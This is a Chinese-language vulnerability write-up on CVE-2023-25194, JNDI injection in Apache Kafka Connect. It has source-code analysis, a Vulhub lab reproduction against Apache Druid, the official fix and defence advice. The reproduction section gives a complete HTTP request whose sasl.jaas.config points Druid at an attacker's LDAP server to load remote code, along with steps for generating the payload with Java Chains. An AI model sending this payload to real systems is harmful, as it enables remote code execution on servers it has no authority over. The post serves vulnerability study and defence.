CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)
漏洞概述
漏洞名称:Apache Kafka Connect JNDI注入导致的远程代码执行漏洞
CVE编号:CVE-2023-25194
CVSS评分:8.8
影响版本:Apache Kafka 2.3.0 - 3.3.2
修复版本:≥ 3.4.0
漏洞类型:反序列化导致的远程代码执行(RCE)
CVE-2023-25194 是 Apache Kafka Connect 组件中的高危漏洞,源于其对用户控制的 SASL JAAS 配置缺乏安全校验。攻击者通过创建或修改 Kafka Connect 连接器时,注入恶意 JNDI 配置(如 com.sun.security.auth.module.JndiLoginModule),可迫使 Worker 连接至攻击者控制的 LDAP 服务器,触发 JNDI 反序列化攻击,最终在服务端执行任意命令。该漏洞需满足以下条件:
- 认证访问:攻击者需能操作 Kafka Connect REST API(默认端口
8083)。 - 配置可控:可修改连接器的 SASL JAAS 配置属性。
- 网络可达:Kafka Connect 服务需能访问攻击者搭建的 LDAP 服务器。
漏洞原理与源码分析
1. 漏洞触发链
#mermaid-svg-oBqnHwupFYSAdafw {font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-oBqnHwupFYSAdafw .error-icon{fill:#552222;}#mermaid-svg-oBqnHwupFYSAdafw .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-oBqnHwupFYSAdafw .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-oBqnHwupFYSAdafw .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-oBqnHwupFYSAdafw .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-oBqnHwupFYSAdafw .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-oBqnHwupFYSAdafw .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-oBqnHwupFYSAdafw .marker{fill:#333333;stroke:#333333;}#mermaid-svg-oBqnHwupFYSAdafw .marker.cross{stroke:#333333;}#mermaid-svg-oBqnHwupFYSAdafw svg{font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-oBqnHwupFYSAdafw .label{font-family:\"trebuchet ms\",verdana,arial,sans-serif;color:#333;}#mermaid-svg-oBqnHwupFYSAdafw .cluster-label text{fill:#333;}#mermaid-svg-oBqnHwupFYSAdafw .cluster-label span{color:#333;}#mermaid-svg-oBqnHwupFYSAdafw .label text,#mermaid-svg-oBqnHwupFYSAdafw span{fill:#333;color:#333;}#mermaid-svg-oBqnHwupFYSAdafw .node rect,#mermaid-svg-oBqnHwupFYSAdafw .node circle,#mermaid-svg-oBqnHwupFYSAdafw .node ellipse,#mermaid-svg-oBqnHwupFYSAdafw .node polygon,#mermaid-svg-oBqnHwupFYSAdafw .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-oBqnHwupFYSAdafw .node .label{text-align:center;}#mermaid-svg-oBqnHwupFYSAdafw .node.clickable{cursor:pointer;}#mermaid-svg-oBqnHwupFYSAdafw .arrowheadPath{fill:#333333;}#mermaid-svg-oBqnHwupFYSAdafw .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-oBqnHwupFYSAdafw .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-oBqnHwupFYSAdafw .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-oBqnHwupFYSAdafw .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-oBqnHwupFYSAdafw .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-oBqnHwupFYSAdafw .cluster text{fill:#333;}#mermaid-svg-oBqnHwupFYSAdafw .cluster span{color:#333;}#mermaid-svg-oBqnHwupFYSAdafw div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\"trebuchet ms\",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-oBqnHwupFYSAdafw :root{--mermaid-font-family:\"trebuchet ms\",verdana,arial,sans-serif;} 攻击者控制 SASL JAAS 配置 Worker 加载 JndiLoginModule 解析 user.provider.url 连接恶意 LDAP 服务器 加载远程恶意类 反序列化执行任意命令
2. 关键源码定位
漏洞入口:动态解析 SASL JAAS 配置
代码路径:org/apache/kafka/common/security/JaasContext.java
// 处理连接器配置 public static JaasContext loadClientContext(Map<String, ?> configs) { Password dynamicJaasConfig = (Password)configs.get(\"sasl.jaas.config\"); return load(Type.CLIENT, null, \"KafkaClient\", dynamicJaasConfig);//未校验模块安全性,直接注入配置 }
漏洞点:
sasl.jaas.config直接使用用户输入字符串- 未过滤高危模块
com.sun.security.auth.module.JndiLoginModule
JNDI 注入触发点
代码路径:com.sun.security.auth.module.JndiLoginModule#attemptAuthentication
private void attemptAuthentication(boolean getPasswdFromSharedState) throws LoginException { String encryptedPassword = null; getUsernamePassword(getPasswdFromSharedState); try { InitialContext iCtx = new InitialContext(); ctx = (DirContext)iCtx.lookup(userProvider);// 触发JNDI连接 ...... }
利用条件:
- 用户需能操作 Kafka Connect REST API(默认端口
8083) - Kafka Connect 能访问攻击者的 LDAP 服务器
影响范围与利用条件
1. 受影响版本
2. 利用限制
- JDK 版本限制:仅影响 JDK < 11.0.1、< 8u191、< 7u201、< 6u211(支持远程 LDAP 引用)。
- 依赖库要求:目标需存在可用的反序列化利用链(如 CommonsCollections、Groovy)。
漏洞复现
由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的>软件,且用户可以控制连接参数。
这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。本篇文章演示如何利用CVE-2023-25194来攻击Apache Druid。
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d

2.访问 http://target:8888,确认服务正常运行

攻击步骤
1.下载工具 Java Chains
2.启动工具,并登录
java -jar java-chains-1.4.1.jar
- 登录密码启动时已经给出

- 访问your-ip:8011登录

3.进入JNDI板块设置攻击机ip

4.选择jndibasicpayload,设置要执行的命令,点击生成


5.抓包发送如下数据包
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: your-ip:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1405{ \"type\":\"kafka\", \"spec\":{ \"type\":\"kafka\", \"ioConfig\":{ \"type\":\"kafka\", \"consumerProperties\":{ \"bootstrap.servers\":\"127.0.0.1:6666\", \"sasl.mechanism\":\"SCRAM-SHA-256\", \"security.protocol\":\"SASL_SSL\", \"sasl.jaas.config\":\"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\\\"ldap://java-chains:50389/x\\\" useFirstPass=\\\"true\\\" serviceName=\\\"x\\\" debug=\\\"true\\\" group.provider.url=\\\"xxx\\\";\" }, \"topic\":\"test\", \"useEarliestOffset\":true, \"inputFormat\":{ \"type\":\"regex\", \"pattern\":\"([\\\\s\\\\S]*)\", \"listDelimiter\":\"56616469-6de2-9da4-efb8-8f416e6e6965\", \"columns\":[ \"raw\" ] } }, \"dataSchema\":{ \"dataSource\":\"sample\", \"timestampSpec\":{ \"column\":\"!!!_no_such_column_!!!\", \"missingValue\":\"1970-01-01T00:00:00Z\" }, \"dimensionsSpec\":{ }, \"granularitySpec\":{ \"rollup\":false } }, \"tuningConfig\":{ \"type\":\"kafka\" } }, \"samplerConfig\":{ \"numRows\":500, \"timeoutMs\":15000 }}
- 注意将之前生成的恶意
LDAP URL放在这个请求中,并发送

6.验证
- 进入容器中查看
docker exec -it 容器号 /bin/bash

修复方案
官方修复(≥3.4.0)
代码路径:org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed
private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry entry) { // 默认黑名单:JndiLoginModule Set<String> disallowedModules = Arrays.asList( System.getProperty(\"org.apache.kafka.disallowed.login.modules\", \"com.sun.security.auth.module.JndiLoginModule\") ); if (disallowedModules.contains(entry.getLoginModuleName())) { throw new IllegalArgumentException(\"Login module disabled: \" + entry.getLoginModuleName()); } }
修复效果:
- 默认禁用
JndiLoginModule - 可通过系统属性扩展黑名单
漏洞启示
- 输入信任边界失效:动态配置接口必须强制校验模块白名单(如仅允许
PlainLoginModule)。 - 默认安全强化:高危功能(如 JNDI)应默认禁用,需显式开启。
- 纵深防御实践:
- 网络隔离:Kafka Connect 部署于独立安全域。
- 进程权限:以非 root 账户运行服务。
- 持续监控:检测异常 LDAP 请求。
附:同类漏洞对比
漏洞 组件 触发点 防御核心 CVE-2023-25194 Kafka Connect SASL JAAS 配置注入 禁用危险模块 Log4Shell Log4j JNDI 查找 移除 JndiLookup CVE-2021-44244 Apache Dubbo 反序列化 Gadget 链 限制反序列化类
参考链接
- CVE-2023-25194 官方通告(Apache Kafka)
- JNDI 注入利用详解(JB51)
- 漏洞复现指南(CTF导航)
- 企业级防御建议(360CERT)


